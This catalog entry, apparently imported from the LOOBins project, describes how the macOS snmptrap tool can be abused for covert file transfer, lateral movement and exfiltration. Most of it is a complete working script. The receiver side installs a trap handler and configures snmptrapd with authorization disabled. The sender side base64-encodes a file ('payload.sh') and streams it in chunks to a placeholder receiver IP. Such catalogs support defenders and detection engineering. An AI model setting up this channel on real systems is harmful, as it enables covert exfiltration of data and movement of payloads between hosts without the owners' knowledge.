CatalogLOOBins

ORCHARD · Tool

snmptrap

1 techniquemacOSLOOBinsGPL-3.0

Covert file transfer via SNMP trap payloads

Lateral MovementmacOS

This technique assumes both the sender and receiver are macOS hosts. Files are base64-encoded and sent as a sequence of SNMP traps carrying chunked data under a custom OID (1.3.6.1.4.1.99999). Three message types are used - FILENAME signals the start of a transfer, DATA carries each base64 chunk, and END triggers reassembly. snmptrapd on the receiver routes all traps to a handler script that writes, reassembles, and decodes the chunks using macOS-native base64 and md5 utilities. The resulting file is verified with an MD5 hash.

# On receiver: install trap handler script
sudo tee /usr/local/bin/trap_handler.sh > /dev/null << 'EOF'
#!/bin/bash
TRANSFER_DIR="/tmp/snmp_transfers"
STATE_FILE="/tmp/snmp_transfer_state"
mkdir -p "$TRANSFER_DIR"
while read line; do
    if echo "$line" | grep -q "SNMPv2-SMI::enterprises.99999.1"; then
        DATA=$(echo "$line" | sed 's/.*"\(.*\)"/\1/')
        if [[ "$DATA" == FILENAME:* ]]; then
            FILENAME="${DATA#FILENAME:}"
            echo "$FILENAME" > "$STATE_FILE"
            > "${TRANSFER_DIR}/${FILENAME}.b64"
        elif [[ "$DATA" == DATA:* ]]; then
            if [ -f "$STATE_FILE" ]; then
                FILENAME=$(cat "$STATE_FILE")
                CHUNK="${DATA#DATA:}"
                echo -n "$CHUNK" >> "${TRANSFER_DIR}/${FILENAME}.b64"
            fi
        elif [[ "$DATA" == "END" ]]; then
            if [ -f "$STATE_FILE" ]; then
                FILENAME=$(cat "$STATE_FILE")
                base64 -D < "${TRANSFER_DIR}/${FILENAME}.b64" > "${TRANSFER_DIR}/${FILENAME}"
                echo "MD5: $(md5 -q "${TRANSFER_DIR}/${FILENAME}")"
                rm "${TRANSFER_DIR}/${FILENAME}.b64"
                rm "$STATE_FILE"
            fi
        fi
    fi
done
EOF
sudo chmod +x /usr/local/bin/trap_handler.sh

# On receiver: configure snmptrapd to route traps to the handler and start it
sudo tee /etc/snmp/snmptrapd.conf > /dev/null << 'EOF'
disableAuthorization yes
traphandle default /usr/local/bin/trap_handler.sh
EOF
sudo snmptrapd -f -Lo

# On sender: transmit file in chunks
FILE_PATH="/tmp/payload.sh"
RECEIVER_IP="<RECEIVER_IP>"
CHUNK_SIZE=1000
BASE64_DATA=$(base64 < "$FILE_PATH")
FILE_NAME=$(basename "$FILE_PATH")
snmptrap -v 2c -c public "$RECEIVER_IP" '' 1.3.6.1.4.1.99999 1.3.6.1.4.1.99999.1 s "FILENAME:$FILE_NAME"
echo "$BASE64_DATA" | fold -w $CHUNK_SIZE | while read chunk; do
    snmptrap -v 2c -c public "$RECEIVER_IP" '' 1.3.6.1.4.1.99999 1.3.6.1.4.1.99999.1 s "DATA:$chunk"
    sleep 0.1
done
snmptrap -v 2c -c public "$RECEIVER_IP" '' 1.3.6.1.4.1.99999 1.3.6.1.4.1.99999.1 s "END"
Evidence
Upstream reference
Environment
Local host
Compatibility
Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.
Native
Lateral Movement, Exfiltration, Command and Control
Detection
No detections at time of publishing: No detections at time of publishing